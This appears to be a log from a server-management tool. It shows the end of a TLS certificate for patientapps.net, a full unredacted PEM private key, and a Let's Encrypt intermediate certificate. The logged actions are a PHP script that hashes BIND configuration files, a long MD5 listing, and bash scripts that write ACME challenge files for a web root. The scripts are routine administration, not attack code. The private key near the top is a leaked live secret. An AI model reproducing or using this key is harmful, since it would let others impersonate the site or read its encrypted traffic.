CiFYSumk4EFAYjyK0EDZjB55AgMBAAGjggIyMIICLjAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFItGU6iAxe2jDiLLQ+bYKm5QymKiMB8GA1UdIwQYMBaAFOernw8sM6BT
015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMy5pLmxlbmNyLm9yZy8wLwYDVR0RBCgwJoIPcGF0aWVudGFwcHMubmV0ghN3
d3cucGF0aWVudGFwcHMubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQn
MCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNjcuY3JsMIIBAgYKKwYB
BAHWeQIEAgSB8wSB8ADuAHUAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMU
WOcAAAGZyMl67wAABAMARjBEAiAqrI21y6UAledNDAkFqvKCnvkYm1oLX2szJ4Y+
7y3M/AIgNxa9X/OlvoaMSIGFxhRti10y2So1I7Mh06ipv663aMwAdQCWl2S/VViX
rfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZnIyXsnAAAEAwBGMEQCID87Gx9Q
2c5DcdLYmV2OaguRukVXp2cRraeVyuM19UqVAiBvGz62+lXJ/MkyCtryZBtmHK6D
xJWAy9X483SAgrDsCjANBgkqhkiG9w0BAQsFAAOCAQEAew9rungjdlePgQSMx7vn
Ndhav4uIiQY9D30vCg1Nbeyc96w2bL1HSfJV7OONQKkurEPSFKpOyBR1DBFZQ/Pm
aIZhxO2rsOZIcb6z6DKGFGHIw+0tMnGSpEP2eAyqBTU9WzeU3GeLFMPCVQ9k4jZ0
4EUbIM8fvPzfvVRPOslRRJ+QaPH27c9EvkFIYlyOpqkl1m2nXTzWjJECZcaQSEtW
bC5hMqb7LtLgDtOhXb04bLJZsLdj5R1P1ubPVN7LrwuG+d8rFRMf90yVY5ys+nNs
thacCchYfsM0U+PvF1XAQ/snIwEMA3fZBRjkFV6pa0Uge0ELZaHyUOs+gdjojcDX
QQ==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCybVMm17ecDb1x
2k90H7ApXRlYQsVexjsiumSp4yPSpFQVbKvNNrb0ERpsfxhTsZPKR1hH1dbW5c61
zPN4w8Z9VpdHvMFV+J7HsnPVvyHLshH+8xrkSs5N9AxGH0hJZxLyW7HFm4voIOXE
VchtVoz7RQ3PB3owZnKd9A/iTD2ysqbNx7XW1B5EVBpyw5f0z/Jq7ZLK+PqCd2Rr
szUg/q5IC3e3zflgUv/3W4uNuu04+mMe9j/TbQtnwWVZ6gf2MDiH2doYq2cymuys
30FL4jGxC0JlrBGr6uqMG7uoGKPH+IPGy9Xxt0m8kJGJjrpvCiFYSumk4EFAYjyK
0EDZjB55AgMBAAECggEAfejF38gkClxrzjb3EIP4BQhshSsBKmMKgfQ0auodclyB
9WhtR/APZOXY1q1NVmoeV4THGFIfPCCJISOSwCqvG+2J7ZaWe/to2JTmRvSMfbiY
GGgnFuhu8vV/38/da+bvqNTp+v9L2C+21DiQqg+Ehx/woaKuKA9zXGFJADE67KkV
CutWBhGLvERA1ZZe/j10qdFdjcPZUxD5jMdRWFPyc0KRmCejJwgcxq/L2tdjv3dK
D2JPApAtlmVfKqDeBvUrxr3A67c1ECNTthE+Nls2OmYhiqxMoLeb9L0cgufE1WBF
zgBYFXYOVSJIxIm3PLCBAMTmWg4fd9WSHI+9ZNKYPQKBgQDiNe9vO8D7mrR/lTH/
n8UF3DLqkOgZI5Csp6mHxir0nefVWFMq0Svswk0xJAKqcpSgIursQXV4Gqnb0unH
OjpYralVKKEq94QQesojyoGOWGyU67ntMjjSrOYFm4x9y2UYbF2cIG9C8CeMjBWS
+MME+hQjr86cxCv3oq+lxCkCmwKBgQDJ7H8+RF6AksMNvpdJsQuu1dOs7meSPFpB
vUTElAHQpCv89n4ECK1qwJBflzWIBlq5/FMTSYXlzIkthDBTM5vrKAErqJqNaCx6
IdYH/brisk84s13OYbnF1X6g+aznQfIyc89bUFkMocATpiuY+1BRay8lCm2BtiKb
fgHZ0G56ewKBgQCwOVJI9mT13WSGC8WCnYXQdeWYhMC7bNB1ILxaUJAANs93jbJk
pcUxUYDvKl2FSXPteKZI3QnVQfhXjuyeTwdLNCa5d8huf5p7eBznWwgoy0vzi9wx
I7HOtfEQJ0iAayZbq3gVe9MRc6Nrw2m/MFpFE0kDMB+mUtDpvuxVGAbWxwKBgQC/
ILT8aliNGN2518p5vTRSxCD9UhgE6k2AZjd+Xp4tMAhXA7YZ+WC0aBr/8C+CVolv
++9ilThBYM4DoFjhmDsgZhhdi9TmvlFDNV3S6I8J3z9vaxACtqvSH5ghpNLNfrVS
nh4Kz83KUBxwPNyNjGvk9TCFvg4TNiQhzC7STiEUmwKBgC+j4Zy9Kiiq1Eg2MWDX
Y9Yb5T+Yl6u/hRNr4H7TV3hYOeGd1Q6/5cntI82WMQfdVq5OZwSo/glPzUzZiYwb
+rOhoDteq2Y+V04TVkuT9vreVKG/IbN9NyoVaIcVlNOuk9tZ+h8hBRYGIEE/zldV
yD9LiAHStiEhsbULmWEYB7TY
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-10-09 11:46:15: Establishing a connection
2025-10-09 11:46:22: Establishing a connection
2025-10-09 11:46:22:
PUT: /tmp/pkp820410
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-10-09 11:46:23:
runuser -l bind -s /bin/bash -c '/tmp/pkp820410; rm /tmp/pkp820410'
2025-10-09 11:46:23:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-10-09 11:46:36: Establishing a connection
2025-10-09 11:46:38: Establishing a connection
2025-10-09 11:46:39:
PUT: /tmp/pkp113594
#!/bin/bash
if [ -d "/var/www/zoomchat_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-09 11:46:40:
chmod 755 /tmp/pkp113594; /tmp/pkp113594; rm /tmp/pkp113594
2025-10-09 11:46:40:
1
2025-10-09 11:46:41: Establishing a connection
2025-10-09 11:46:42:
PUT: /tmp/pkp795530
#!/bin/bash
mkdir -p "/var/www/zoomchat_www/.well-known/acme-challenge/"
cd "/var/www/zoomchat_www/.well-known/acme-challenge/"
cat > HUytBN247kbfAvvCtAW9vxuQt2lnjUa27zOusY7LS0s <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
HUytBN247kbfAvvCtAW9vxuQt2lnjUa27zOusY7LS0s.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 HUytBN247kbfAvvCtAW9vxuQt2lnjUa27zOusY7LS0s
2025-10-09 11:46:43:
chmod 755 /tmp/pkp795530; /tmp/pkp795530; rm /tmp/pkp795530
2025-10-09 11:46:44:
2025-10-09 11:46:47: Establishing a connection
2025-10-09 11:46:48:
PUT: /tmp/pkp743049
#!/bin/bash
mkdir -p "/var/www/zoomchat_www/.well-known/acme-challenge/"
